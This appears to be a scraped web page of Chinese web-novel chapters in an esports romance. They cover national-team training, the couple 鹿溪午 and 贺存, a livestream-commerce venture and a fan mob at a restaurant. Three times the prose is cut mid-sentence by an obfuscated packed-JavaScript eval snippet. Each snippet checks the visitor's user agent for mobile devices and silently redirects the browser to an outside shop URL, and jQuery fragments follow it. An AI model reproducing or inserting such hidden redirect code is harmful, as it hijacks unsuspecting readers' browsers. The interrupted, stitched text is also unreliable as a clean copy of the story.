对面的鹿溪午摘下耳机，转过头兴奋地跟周迩远说着什么，看起来并不在乎这一场比赛的输赢。 大厅的积分屏幕上的排名实时变动，deer在榜首称霸了许久，终于往下落了一名。 齐光茂捏紧了右手，他心里明白：结果虽然看似是自己赢了，但就赛场表现来说，鹿溪午真的无可挑剔，他已经做到了能做的全部。 哪怕是自诩高手的齐光茂，都不得不承认鹿溪午在异界这个游戏上的造诣。 一场比赛下来，鹿溪午对周迩远的兴趣大增，他很久没有这种打得分外流畅的中野联动了：“teacher，有空我们一起双排吧？” 周迩远有些腼腆地挠挠后脑勺：“好啊。呃，那个……我能找你签个名吗？” 鹿溪午眨眨眼：“当然！我们算朋友了对吧？” “嗯！” 虽然输了比赛，但并不影响鹿溪午的心情。打完每天的三场比赛，鹿溪午习惯性地再给自己加一组基本训练，完成后正好到食堂去吃晚饭。 徐泽端着餐盘坐在了鹿溪午身边：“今天晚上有复盘会，你跟张风回说说，别迟到了，你们是主角呢。” “知道，我会提醒他的。” 这还是集训以来的第一次复盘会。 穆哲言的复盘风格跟徐泽很像，都是一样的直言不讳，丝毫没有回转的余地。 齐光茂在比赛指挥时犯的错误被穆哲言一帧一帧地扒出来，放大了，揉碎了，讲出来。 美洲的俱乐部不会有这样的复盘，齐光茂也是第一次体验这种公开处刑一般的痛苦，像是被老师责骂得抬不起头的小学生。 鹿溪午跟周迩远是今天的会议中唯二幸免于难的人。 “deer的操作很果断，战场的嗅觉很敏锐，保持这个状态。至于teacher……明天再跟pound一起，你试试射手。” 周迩远一怔，下意识看了一眼鹿溪午，他们说好了要继续双排的…… 鹿溪午给周迩远递了一个安心的眼神，他大概能猜出教练组是想测试周迩远的兼容性。 穆哲言把明天的团战安排宣布了，阵容里有许多没见过的新组合，看来是教练组想要实验实验想法。 会议一开就没完没了，直到散会时，鹿溪午才反应过来跟贺存约定的通话时间早就过了。 张风回打了个哈欠：“刚才教练说现在信号会开放半小时，你还不抓紧时间吗？” 鹿溪午匆匆朝张风回挥挥手，拿着手机小跑出了会议室。 “他这是干什么去？”徐泽一脸疑惑。 “你有事吗？我可以帮你转述给他。”张风回半眯着眼，眼看要睡过去，却又不得不强打起精神听徐泽说话。 “是明天的比赛，你告诉鹿溪午……” . 几乎是在拨电话的瞬间，对面就按了接听键：“溪午？” “学长！对不起，我刚才临时有个会……”鹿溪午愧疚地低下头，“下次要是过了时间你就别等了。” “没事，我又不忙，而且我也没什么别的事情。”贺存的声音透过话筒依旧听起来温和可靠，“对了，今天我去给你挑了几件衣服，让他们明天送过来，你先看看喜不喜欢，不行就换。” 鹿溪午抿嘴一笑：“我就是随口一说的，谢谢学长。” “这个季节得多穿些，别着凉。” “知道知道！” 鹿溪午靠在栏杆上，絮絮叨叨地跟贺存说着今天的事情，说比赛，说排名，说新朋友，甚至是今天的晚餐：“……回锅肉看起来好腻，我一块也没吃——对了，你今天晚上吃的什么呀？” 贺存住在滨海市中心的顶层复式公寓里，从卧室飘窗俯瞰就是灯火辉煌的夜景。这样的视角本意是带给人一种凌驾他人之上的快感，但贺存却只能从中体会到渺小和无力。 飘窗边，贺存的手边摆了一罐啤酒，手机正开着免提，晚风习习吹来鹿溪午的声音。冰凉的酒液滑进食道，落进空荡荡的胃里。 空荡的胃可以被酒精填满，但心里的空洞却被呼啸的北风刮过，不疼但却很茫然。 只有鹿溪午的声音在真切地传来，那是独属于小斑比的慧黠明澈。 贺存无奈一笑，随口把今晚银泰商厦里那顿不欢而散的晚餐菜单报给鹿溪午听。 “唔……你今天是跟其他人一起吃饭的吗？” “你怎么知道的？” “有山药，你过敏的呀，之前我们点菜你都从来不吃的。” 鹿溪午的话语让贺存放下了啤酒罐，他举起手机凑近唇边，湿热的呼吸在手机表面渡上一层白雾，似乎这样他就能离电话那头的人近一些。 “你还记得。” “你跟我说过的，我怎么会忘？”鹿溪午抿了抿唇，察觉出一点不对来，“学长，你怎么了？发生什么事了？” “没有……” “——你别骗我，我们说好不隐瞒彼此的。” 被鹿溪午一句话堵回来的贺存叹了口气：“不是什么大事。” “那我也要听。”鹿溪午语调铿然。 贺存只好用了一种委婉的说法，把今晚发生的事三言两语地说了，末了还补上一句：“真的不是什么大事。” 鹿溪午目露担忧，他是能体会此时贺存的心情。被至亲的人这样对待，实在是太残忍的一件事了。 “学长，你别难过，还——”有我呢。 鹿溪午安慰的话还没说完，却被关闭的信号强制截断了通话。 为什么偏偏在这个时候？！ 鹿溪午低咒一声，原地站立了半晌，捏紧了手机看向还没熄灯的教练组，目光坚定地走去。 贺存没有听到鹿溪午的完整回答，便听见了电话那头熟悉的女声——“您所拨打的电话不在服务区，请稍后再拨。” 又到半个小时了。 每到这时，贺存总有一种牛郎织女的错觉，每天通话的半小时就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958304|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好比鹊桥，时间一过，喜鹊就呼啦啦地飞走了，徒留一地鹊毛。 贺存又狠狠灌了一口啤酒，把空罐子捏瘪，隔空丢进垃圾桶里，这是他平时绝对不会做的举动。 心里越发空落起来。 贺存只感觉轻飘飘的酒精已经进入了他的大脑，整个人头重脚轻的，连对时间的流逝都感知不大清晰。 直到门铃声响起。 贺存打开门，却见到了一个朝思暮想的身影。 ——“学长。” 贺存握住门把，满目惊讶：“你怎么……？” “集训基地只给我三个小时，除去路上来回的两个小时，我们只有一个小时的时间。你确定要让我站在门外吗？” 鹿溪午喘着气，头发凌乱地支棱在头顶，额头上有一层薄汗，一看就是赶路过来的。 贺存动作僵硬地让开身子，脑海里一瞬间闪过许多问题—— 你怎么知道我在这里？你是怎么过来的？封闭式训练应该是不让出基地的吧？会被惩罚吗？ 鹿溪午靠近时就闻到了贺存身上淡淡的酒味，他心疼地抓住贺存的手，满目的担忧都掩饰不住：“学长……” “没事。”贺存很快便回过神来，用纸巾温柔地擦去鹿溪午额头上的薄汗，“你怎么出来了？” “我担心你。因为我知道这是什么感觉。”鹿溪午直视着贺存的眼睛，目光盈盈宛如潋滟波光。 贺存被这样的目光注视烫了一瞬，手指很轻很轻地拂过鹿溪午的眼尾，急切想要做点什么把心里的空洞填补上：“那你是想来做些什么呢？” “贺存，我喜欢你，很喜欢很喜欢。” 鹿溪午第一次叫贺存的全名，他像一只来安慰人的猫咪，不大熟练地蹭着人的小腿。 “我也可以保护你，守卫你，记得你的喜好，知道你的忌讳，会跟你说晚安，会提醒你天冷了加衣服，会关心你的身体……” “所以你别难过，你想要的爱，我都可以给你，比别人还多，行不行？” 贺存的眼眸幽深晦暗，像是一汪深不见底的潭水，直直地注视着鹿溪午，跟他平时的眼神大不一样。 “……你想清楚了？” 鹿溪午被贺存这样看着，心里直打鼓，他有些急切地解释：“我记得你说的话‘不要年少的惊艳，不要后辈的仰慕，不要吊桥效应里的依赖’。可是……可是这些都是源自我喜欢你啊。” “我喜欢你，所以我才惊艳，才仰慕，才依赖，对象都是你，只是你。” “……只是我？” “只是你！” 鹿溪午眼睛越发明亮滚烫，仿佛飒沓而来的流星，呼啸着填满了贺存心底的空洞。 贺存终于从鹿溪午的话中得到了他渴望已久的，独一无二的偏爱。 他眼眶微红，凑近了鹿溪午的唇角，声音沙哑低沉：“我终于可以吻你了，对吧？” 不等鹿溪午点头，贺存已经欺身而上，炽热的呼吸喷洒，所有的话语都被一吻封缄。灯光照在两人的身上，拉出两道交叠的修长身影。 孤独的灵魂终会在尘世中找到慰藉，用以互相取暖渡过漫漫的长夜。 44.事业 “早啊。” “早上好。” 周迩远走进训练室，神采奕奕地跟熟识的人打招呼。 “deer早上好——你昨晚没睡好吗？” 只见鹿溪午靠在电竞椅背上，眼下青黑一片，双目无神地盯着电脑，机械地做着基础的训练，随着手臂的摆动，颈侧若隐若现地露出几点红梅。 周迩远十分关切，但眼神中却流露出一分清澈的愚蠢：“是晚上有蚊子吗？” 鹿溪午露出一个虚弱的微笑，抬手捂了捂颈侧的皮肤：“是啊，蚊子。” 略知内情的张风回在一旁翻了个白眼：是啊，冬天的蚊子对吗？！ 鹿溪午摸索着进寝室的时候已经是凌晨两点多的时候了。他昨天正卡着三小时的时限踏进集训基地。 毕竟是找徐泽开的后门，鹿溪午不想给他带来更多的麻烦。 贺存估计也没想到自己的男朋友，才新鲜出炉不到俩小时，就得给送回基地，每天靠着那半小时的通话凑合。 谁家谈恋爱是这个样子的？这下真成牛郎织女了。 贺存把鹿溪午送回基地，一想到还有整整半个月的集训时间，心里就不怎么好受。 而同样不好受的还有贺晋城。 接到程寅雪电话的时候，他还在高尔夫球场上谈事，身边的球童是一位盘靓条顺的明艳大美人。 “我回国了，见一面吧。” “现在？” “现在。” 程寅雪的单刀直入让贺晋城皱了皱眉，他瞥了一眼安静站在一旁不言语的美人，不得不遗憾地叹了口气。 “好，你在哪儿？要我来接你吗？” “不用，我订了地方，一会儿发给你。” 说罢，程寅雪便挂了电话。 美人朝着贺晋城温婉一笑，端的是知性温柔：“贺总，今天的晚餐是由米其林三星的主厨掌勺，您要试试吗？” 贺晋城摇摇头，起身跟合作伙伴告辞，在众人的挽留声中离去。 想到今天那位格外对他胃口的大美人，贺晋城心下也不由得觉得遗憾。 但程寅雪做事一向雷厉风行，贺晋城也尽量不在这些方面跟她发生冲突。 毕竟是能在国外市场呼风唤雨的程大小姐，华曙集团的另一位掌门人，怎么想都不可能是软绵绵的性子。 自从贺存挑破了两人的关系，他们也就不再伪装了，一年也就春节的时候见见面，糊弄糊弄长辈，商讨华曙的发展总方向。 今天不年不节的，程寅雪主动提出见面，多半是跟儿子有关。 贺晋城在路上就把这次谈话的主题猜了个七七八八。 “好久不见。” “好久不见，我是为小存的事来的。” 两人的视线顿时对在一起。岁月似乎格外优待美人，程寅雪的容貌跟贺晋城记忆中的别无二致，连偶尔的细纹也是时光的风味。 贺晋城端起茶杯抿了一口，习惯性地打太极：“你是指？” 程寅雪控制着自己的情绪，嘴角向下，紧紧抿着：“别跟我兜圈子，小存什么时候谈恋爱了？” “我不知道，小存不是个会跟我们谈心的孩子。”贺晋城放下茶杯，语调淡淡。 “我们当初有协议，华曙未来只会交到小存的手里。” “当然。” “所以，我给小存安排了一门亲事，但他拒绝了。”程寅雪似是不可理解，“后来我去查了查，发现他谈恋爱了。” “这不挺好的吗？现在华曙又不是我们当年那个时候，小存也不需要联姻来稳固自己的地位，他喜欢就随他好了。” “可是华曙……接手它不会是一件容易的事。” 贺晋城见程寅雪还是一副执拗的样子，手指揉了揉太阳穴，便轻轻敲了一下桌面，唤回她的注意力：“你觉得像你我现在的婚姻真的好吗？” 程寅雪紧绷的神情顿时一松：“……我只是想让他能更轻松一些。” “小存可比我们想象得厉害多了，我倒觉得这点你完全不用担心。” . “我知道了，谢谢您，爸爸。”贺存挂了电话，深深地吐出一口气。 程寅雪去找贺晋城是意料之中的事情，但贺存也没有把握爸爸会说服妈妈。 贺存对于接手华曙这件事本就有把握，并不需要通过外界的助力。既然母亲对这件事有疑问，那他就证明给她看好了。 助理适时敲门而进：“小贺总，合作方都到了。” “知道了，叫上其他人，开会吧。” 最近贺存的动作在业界早已不是秘密。明眼人都看得出来，他想要利用直播的粉丝经济快速变现，看来平台的打赏分成并不能填满这位商业新贵的胃口。 利用主播的粉丝群体打开实体商品的销路才是贺存真正想要做的事情。 “……这样的共生经济到了后期，工厂自己都能直面消费者，作为平台的我们，就是唯一的中间环节。” “这意味着什么自然不用我过多赘述。”贺存环视四周，大多数人都面带惊叹，显然是一副被说动的模样。 见自己的目的达到，贺存深谙见好就收的道理：“我们星河直播献上了自己的诚意，至于未来，那可就掌握在诸位的手中了。” 诸位不同领域的公司负责人相互对视一眼，随即便咬咬牙一拍桌子：“签，这个单子，我签了！” 贺存眉眼含笑，示意站在自己身后的助理送上合同。 会议结束，星河直播的负责人脸都快笑出一朵花儿来了：“贺总，这比我们预计的情况要好太多了啊！很多在前期摇摆不定的产品都跟我们签了合作。” “主播那边商谈得怎么样？有多少人愿意参与？”贺存倒是镇定得多，第一步的成功可不能代表整个计划的成功。 负责人对答如流：“大部分头部主播都愿意参与，我们已经在做他们的粉丝群体调研了。” “后面跟合作商对接的时候，一定要一份他们的用户画像，越详细越好，让我们能迅速筛选投放带货链接的主播。” “不管是选品还是内容产出，都要严格把控，我先从华曙借些人帮你们一起审核视频的内容和直播的脚本。公司的人手也要尽快扩招了。” 贺存有条不紊地跟负责人交代细节：“还有，佣金和底薪都要尽可能照顾主播——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967947|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“贺存！你又不接我电话！”谢嘉怒气冲冲地打断了贺存的话，“每次都是你叫我帮忙，结果每次你都不接电话，你要气死我呀？” 贺存这才想起自己开会时调成静音的手机，上面已经有六个未接电话。他不自在地咳嗽一声：“刚开会来着，没听见。” 谢嘉此时还手提行李箱，一看就是刚下飞机就赶过来了，他一脸地痛心疾首：“你还有没有良心啊？叫我来帮忙又把我一个人晾在机场，得加工资啊！” “行！”贺存也答应得干脆，招呼着让助理帮着谢嘉把行李送到酒店。 星河直播这边的摊子铺开了，事情比贺存预料的要多得多，他只好连夜把谢嘉叫来帮忙。 贺存上前跟谢嘉默契碰拳：“我先带你熟悉熟悉。” “好啊，我随时可以开始。” 别看谢嘉平日一副吊儿郎当的样子，但只要涉及到专业相关的事情，他就会迅速进入正经工作的状态。 “你的这个想法是从那次组会开始的吧。当时我还以为你是在开玩笑，结果你还真弄了出来，牛啊存哥！” 谢嘉啧啧称奇：“通过网络商品交易将粉丝群体经济快速变现，这又得是一篇核心吧？先说好，我能二作吗？” “先做正事，论文现在还不是要考虑的事情。”贺存赶紧将谢嘉打发到负责人身边去，要他去一起完善方案。 直到谢嘉揣着手晃悠悠地出去找负责人去了，贺存才松了口气，毕竟不是谁都能抗住谢嘉的废话攻击的。 . “拿给我。” 林沂天接过秘书的文件，拿起笔在文件的最下方签上了自己的名字，对秘书嘱咐说：“这个项目你亲自交给小刘。” “是。”秘书收好文件，小心翼翼地走出办公室的低气压氛围。 近几年受互联网的冲击，林氏的不少投资被迫终止，甚至近几年资金的回流隐隐有些问题。 本来指望能拿下华曙的单子解决燃眉之急，但如今也是鸡飞蛋打。眼看美国那边马上就要上市了，如果不能保证上市后六个月内的持续盈利，退市都是轻的，怕的是被拉进纽约证交所的黑名单！ 林沂天头疼地摁了摁额角，心中也存了不少对贺存的怨怼，贺晋城倒是大方，这大一个摊子拿给小辈练手，也不怕牵一发而动全身真的影响到华曙未来的发展。 最近似乎听说贺存在海滨市搞了一个大动作，联合了不少相关领域的人物。似乎是想把娱乐圈的粉丝经济运用到网红身上去，看看能不能套现。 要是以往，林沂天一定对这些把戏嗤之以鼻，看都不会看一眼，然而林氏如今的危机越发明显。 林沂天也顾不上这些古板思想，要是贺存真的做成功了的话，林氏或许也可以试试这种方法。 “小郑。”林沂天打了内部电话，叫了自己最信任的心腹，“你去找个人，盯着海滨市贺存的动作，把他的动向都记录下来，以备不时之需。” 挂断电话，林沂天又不可避免地想起了自己远在美国的长子，只要把上市的工作完成，林修就能回来，他也能喘口气了。 林沂天摸着办公室的相框，半晌，重重地叹了口气。 45.醉鬼 半个月的时间一晃而过。 跟贺存确定关系后，鹿溪午的生活也与往常并无区别。 白天训练，比赛，复盘；晚上就跟贺存视频，明明都在同一座城市，却硬生生谈出了异地恋的感觉。 国家队也在时间的流逝中渐渐成型。 穆哲言综合考虑后，留下了十一个人作为国家队的主力队员，每个位置都有两个不同风格的选手和周迩远这个能在中路下路打野之间随意变换的选手。 比赛时教练队甚至能拿出不下于六套阵型，足以适应任何风格的比赛。 大浪淘沙留下来的大多都是鹿溪午的老熟人，但也有像周迩远一样的新朋友，当然还有齐光茂。 当把入选的名单公布在网上后，不出意外又引发了不少讨论—— 【TD的中野，ND的射辅，还有sad，joker……好强的阵容！】 【有生之年系列，我能看到这么多大神一起打比赛吗？】 【居然看见了主播teacher，哇！出息了出息了！】 【不懂就问这个Abelard是谁啊？】 【楼上不看美洲的比赛吗？就是GOD的中单】 【还有外国华籍选手呢？牛哇教练组！】 【冲着阵容我刷一波冠军不过分吧？】 【我先来！冠军冠军冠军！】 …… 最后一天的晚上，新鲜出炉的国家队围在一起吃了他们的第一顿火锅。还是由徐泽拨冗亲自炒制的底料。 热热闹闹的一顿饭吃完，下次再相聚就得等到四月份异界的常规赛打完了。 徐泽已经喝得有些醉了：“我敬……大家一杯，祝我们……都能站在……领奖台上！干！” “干了干了，奥运会啊兄弟们！” “拿金牌！” “冲他丫的！” 底下的人七七八八地起哄，大多脸上都有醉意。 闹到最后，就只剩下滴酒不沾的穆哲言和因为跟贺存视频而没喝多少的鹿溪午还保有理智。两人认命地对视一眼，开始把这一帮醉鬼送回宿舍里。 等把最后一个喝醉的人安顿好，鹿溪午总算松了口气。 “你好好休息，明早我来接你。”贺存看着鹿溪午红扑扑的脸蛋，就知道这人今晚喝了酒，“手边有蜂蜜水吗？喝一些可以解酒。” 这时候酒劲上涌，鹿溪午抱着手机晕晕乎乎地摇头：“你，你就别来，来接我了。我自己可以。” 鹿溪午还恍惚记得贺存最近似乎很忙，有好几次跟他视频的时候人还在办公室：“你别来，别来哦……” 而贺存只当作是鹿溪午的醉话，无奈一笑：“你快去收拾一下睡觉吧，小醉鬼。” “唔？我没醉。”鹿溪午拍拍自己发烫的脸颊，伸出手比划了一下，“我就喝了这么一点，才没醉。” 他大概不知道此时自己的模样有多么艳丽，平日里灵动狡黠的眸子蒙上了一层淡淡的水光，眼尾也洇着水渍，呆愣愣地盯着贺存，天真又无辜。就连指尖都泛着胭脂般的淡红，看起来好欺负得不行。 贺存的喉结狠狠动了动，他伸手扯松了自己的领带结，嗓音蓦然喑哑起来：“乖，睡觉去。” 鹿溪午却只想证明自己没醉，又拿着手机凑近了镜头：“你看看嘛，我真的，真的没醉！” 高清的镜头将鹿溪午被扯乱的领口清晰地记录下来，精致的锁骨像是一对鹿角，随着呼吸微微起伏，以及胸膛里蓬勃跳动的热气。 猛地看见这一幕的贺存手一抖，拇指便狠狠按在了挂断键上，屏幕顿时黑暗下来。 不知为何，挂断之后的贺存反而松了一口气：如果他有罪，请让法律来惩罚他，而不是像现在这样看到吃不到！ “咦？学长？学长？怎么挂了？”鹿溪午茫然地捧着手机，疑惑不已。 第二天一早，贺存便急匆匆地开着车来接自家男朋友。 鹿溪午自然地坐到了副驾驶：“其实我自己可以，你不用特地来跑一趟的。”而他坦然的态度明显是不记得自己昨晚干过什么撩拨人心的事情了。 贺存的热情瞬间被浇灭了大半，声音莫名有些幽怨：“你昨晚喝了酒，我来接你放心点。” “没喝多少，我都没醉。” 此话一出，贺存立刻狐疑道：“真的？” “当然了，我还记得你昨晚突然挂我视频来着。” 这个倒记得清楚！ 贺存磨了磨后槽牙，挤出几个字来：“是吗？” 鹿溪午奇怪地挠了挠脸颊：错觉吗？怎么老觉得今天的学长怪怪的？ 贺存把鹿溪午送到了自己的住处便返回了公司，他还有一些事情没有做完，等过两天才能和鹿溪午一起回京城，不过那时也正好赶上过年，倒是不耽误什么。 客卧是早就收拾好了的，鹿溪午一来就能住。 突然闲下来的鹿溪午很是不习惯，刚好贺存细心地在客卧放了一台电脑，他也准备补补直播时长。 一登录进去鹿溪午就看见了直播官方给他发的邮件，是邀请他加入直播升级星河计划的邀请函。 简单来说就是把网购和直播结合起来，直播能够从中抽取佣金。 鹿溪午一向对这些东西不感兴趣，利落地点了拒绝，开启了自己的直播。 在国家队的热度还没散去的情况下，鹿溪午的直播几乎是在开播的一瞬间就冲上了榜首。 【D神！活的！】 【死鬼终于想起来直播密码了吗？】 【国家队选手，恭喜D神】 【求求D神讲讲你们的训练日常叭，孩子真的很需要QAQ】 【想听想听想听……】 鹿溪午照常回了弹幕，关于训练的事情一个字都没有提：“我们签了保密协议不能说的，大家期待的训练日常后续官方可能会有视频呈现给大家。” 【有视频，浅浅期待一波】 【D神应该是才放假叭？其实可以好好休息休息的】 【对，我们不急，直播嘛，没有我也能抗QAQ】 “哈哈，还好了其实，我不怎么累。”鹿溪午登录进游戏，“我们今天打几把娱乐局好不好？” 【好好好，你说什么就是什么（霸总宠溺笑）】 【准了准了】 【官方上线了新的娱乐模式，D神去体验一下吧】 鹿溪午选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989277|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性地忽视搞怪的弹幕，开始自己欢乐的游戏生活。 而还在公司上班的贺存，本来正跟谢嘉商讨着后续的细节，手机里的特殊提示音突然就滴滴的响了—— 是鹿溪午开播的特别提示。 贺存看了一眼就拿开了手机，示意谢嘉：“我们继续。” 谢嘉揶揄的目光在贺存身上来回巡睃：“特别提示音哦，还是上次那个小朋友吗？你不会还没追到人家吧？” 贺存微微一笑，掏出手机点亮，锁屏界面赫然便是鹿溪午之前发在企鹅空间里的侧脸照片：“介绍一下，这我男朋友。” “骚.包。” 谢嘉啧啧几声，又仔细看了看照片：“我怎么觉得这人有点眼熟啊？” 说罢，他在一堆星河主播的资料里翻出鹿溪午的那一页：“这不就是他么——deer？” “世界冠军啊……”谢嘉拿着资料，忽的想起了什么，眼中闪过一丝八卦的兴味，“你不会是为了他才收购的星河吧？” 贺存推了推下滑的眼镜，相当实事求是：“当初组会的收购案，确实是因为他得来的灵感。” “霸总现实版。”谢嘉笑得更暧昧了，“什么时候出来一起吃个饭呗？我也想认识认识世界冠军。” 贺存颔首，他确实有这个打算：“我问问他吧。” 当星河的两个当家人在办公室聊八卦的同时，星河的负责人就收到了来自鹿溪午的拒绝通知。 作为平台最大的流量，只要鹿溪午一开播，星河直播的数据基本上能冲进千万的级别，是当之无愧的排面。 星河负责人一直想把鹿溪午这位神仙拉下水，借助他的流量，之后的商务合作不知道会好谈多少倍。 “你问问他，还能商量一下不，价格方面只要不离谱我们都好接受的。”负责人将文件推回给下属，语气中不乏卑微。 下属也是一脸为难：“以deer的流量，他未必愿意挣这个钱呢。毕竟都到了这个身价了，人家会更爱惜羽毛的吧？” 负责人想了想，还是不愿放弃鹿溪午的流量：“我先去问问贺总，看看能不能调整一下分成比例，尽量多吸引一些这样咖位的主播。” 负责人礼貌地敲门，得到允许后，走进了贺存的办公室。 此时两人已经切换成了工作状态，正处理着一堆文件。 “贺总，我有个想法，想听听您的建议。” 负责人在这些日子也略微了解了贺存的性格，他知道自己这位上司最不喜欢拐弯抹角，便直接开门见山： “对于平台某些大主播的分成比例，我认为还可以再调整一下，以便更好地吸引主播参与到我们的计划中。” “比如？” “刚才平台最大的电竞直播deer刚刚拒绝了我们的合作邀请，我想……要是我们能加重一些给他的分成比例，说不定还有挽回的余地……” 负责人自顾自地说着，完全没有注意到谢嘉古怪的神情和嗖嗖如刀般的眼神暗示。 “不用了。”贺存冷静地打断负责人的话。 “啊？”负责人不明所以。 “他……是你们的老板娘。” “啊？？？” 46.见朋友 “你看见刚才负责人的表情了吗？都快裂开了哈哈哈哈哈哈——” 包厢里，谢嘉还在对着刚才的抓马情况大声嘲笑，要不是扶着桌子边他都能自己笑到地底下去。 “行了，你都快笑一路了。”贺存无奈劝阻，企图给自家下属留点面子。 “不行我忍不住哈哈哈哈哈——” 贺存叹了口气，随即冲谢嘉扬了扬手机：“我先去接人，你慢慢笑吧。” 贺存找了滨海本地一家极为正宗的本帮菜私厨，本来是打算跟鹿溪午两个人来的，后来干脆就带上了谢嘉，也算是把鹿溪午正式地介绍给自己的朋友。 私厨的地方七拐八绕，贺存怕鹿溪午不熟悉，特地走到路口接了人。 “介绍一下，这是我朋友，谢嘉。他是我同学，也勉勉强强算你的学长吧。” “什么叫勉勉强强？我才是正宗的本硕博C大在读生，比你的纯度还高呢。” 谢嘉不高兴地反驳着贺存的话，转头却对着鹿溪午笑容灿烂：“嗨！小学弟。” 贺存面无表情地乜了笑容分外热烈的谢嘉一眼：“鹿溪午，我男朋友。” 鹿溪午也露出笑容：“你好，谢嘉学长。” 带有距离感的“谢嘉学长”称呼一出口，贺存那点微妙的别扭终于消散了。 趁着谢嘉点菜的功夫，鹿溪午悄悄凑到贺存耳边，用气音说道：“学长只用来叫你。” 湿润的气流吹在贺存的耳畔，仿佛一束细小的电流经过颈侧敏感的神经末梢，大脑皮层无限地放大了这种感官。 鹿溪午分明看见了贺存肌肤上的一排排鸡皮疙瘩，却坏心眼儿地再度朝他开口：“不～骗～你～” 贺存再也忍不住，倏地看过去，却撞见了鹿溪午那双慧黠的漂亮眼睛，睫毛轻盈地起落，好似林间哒哒的鹿蹄。 “小学弟，你要吃什么？今天贺总请客！” 闻言，鹿溪午立刻转头，喜笑颜开地接过谢嘉手里的菜单，不再看向贺存。 撩完就跑，罪大恶极！ 贺存后槽牙都快咬碎了，心里强烈谴责了这只爱捣蛋的小斑比。 “他们的菜单都是根据时令来安排的，点排在最前面的那几道菜，那是主厨推荐。” 见鹿溪午拿着菜单为难，贺存三言两语便解决了鹿溪午的纠结。 三人愉快地进入等餐时间，善于社交的谢嘉跟鹿溪午聊得很是愉快。很快便把刚才在星河发生的事情给抖落出去了。 鹿溪午大惊：“你什么时候把星河直播收购的？那你现在是变成我的老板了吗？刚才我好像拒绝了一个什么计划，重要吗？要不我……” “那个计划不重要。你跟星河也不存在上下级关系，没必要因为我的缘故而影响到你。” “你才是你自己的老板。” 贺存打断了他的不安，夹了块排骨放到鹿溪午的碗里，“之所以不告诉你，就是怕你知道这个消息后有负担——快吃菜。” 鹿溪午的注意迅速被排骨吸引，本帮菜的浓油赤酱在买相上就很吸引食客的目光：“那……下次需要帮忙的时候要叫我哦。” “知道了知道了。喏，你喜欢的虾来了。”趁着服务员端菜的间隙，贺存赶紧转移话题。 谢嘉被迫吃了一嘴狗粮，饭还没吃完就觉得自己撑得慌。 “你俩行行好，这里还有一条单身狗呢！”谢嘉愤愤地嚼着红烧肉，伸手示意，“服务员！我要加菜，加两份。” 谢嘉伸出两根手指，狠狠地强调了一番。 服务员小姐姐彬彬有礼地走过来，万分歉意道：“对不起呢先生，您点的菜暂时没有原材料了，这边建议您换一个呢。” “……” 这个世界对单身狗的恶意太大了，淦！ 愤怒的谢嘉化悲愤为食欲，不再看自己对面亲亲热热的贺存鹿溪午，开始专心干饭。 但有时总会有意外发生。 哐啷—— 来自包厢外的堂食餐厅的巨大声响，伴随着瓷盘摔碎声，惊呼声以及越来越大的嘈杂人声。 藏在居民楼的私厨菜馆并不隔音，这场突然的骚乱让包厢里的三人有些意外。 谢嘉撩起门口的帘子，往外面好奇望去：“这是怎么了？” 立即有个训练有素的服务员前来解释：“抱歉先生，打扰您们用餐了，现在外面的情况有些混乱，请您待在包厢会安全一些。” 听见“安全”的字眼，贺存警觉地放下汤勺：“发生什么事了？” “似乎是一位明星被人认出来，现在大堂都是粉丝，我们已经报了警，也叫了保安。” 鹿溪午透过帘子的缝隙，看见了外面蜂拥的盛况，还有源源不断从饭馆狭窄的楼梯口走进的人潮。 这样的场面令鹿溪午眼皮猛跳，他迅速从口袋里摸出随身携带的口罩，扣在自己的脸上。 “唉？学弟？” “以防万一。”鹿溪午的声音隔着口罩瓮声瓮气的。 贺存当然知道鹿溪午在担心什么，他起身把包厢的帘子拉紧了些：“我们等会儿再出去。” 林奚也没有想到事情会发展到现在这样。 今天他正巧来到海滨市出席活动，便答应了齐光茂的邀请，跟他一起吃个晚饭。 坏就坏在他跟齐光茂的这顿晚餐被代拍拍下来，发到网上了。本地的粉丝立即闻声而动，纷纷赶来现场要跟偶像来个近距离接触。 若是平常，林奚早就顺着后门走了，但齐光茂订的是一家私厨，没有后门，正巧让粉丝把他堵在里面了。 林奚跟齐光茂情急之下只好躲进后厨，联系工作室的人来解决这件事情。 张青婉的声音有些气急败坏的从电话里穿来：“我不是让你小心一点吗？闹出这么大一个乱子，网上还不知道会说些什么呢！你的路人缘还要不要了？！” 以林奚的本事，甩掉这些代拍不成问题，但关键在于这次他原本就没打算甩掉这些人。 齐光茂现在风头正盛，国家队成员，是个很好的蹭流量的对象。 林奚正打算利用他跟齐光茂的这顿饭炒炒热度呢！没想到却偷鸡不成蚀把米，倒造成了现在这种棘手不已的情况。 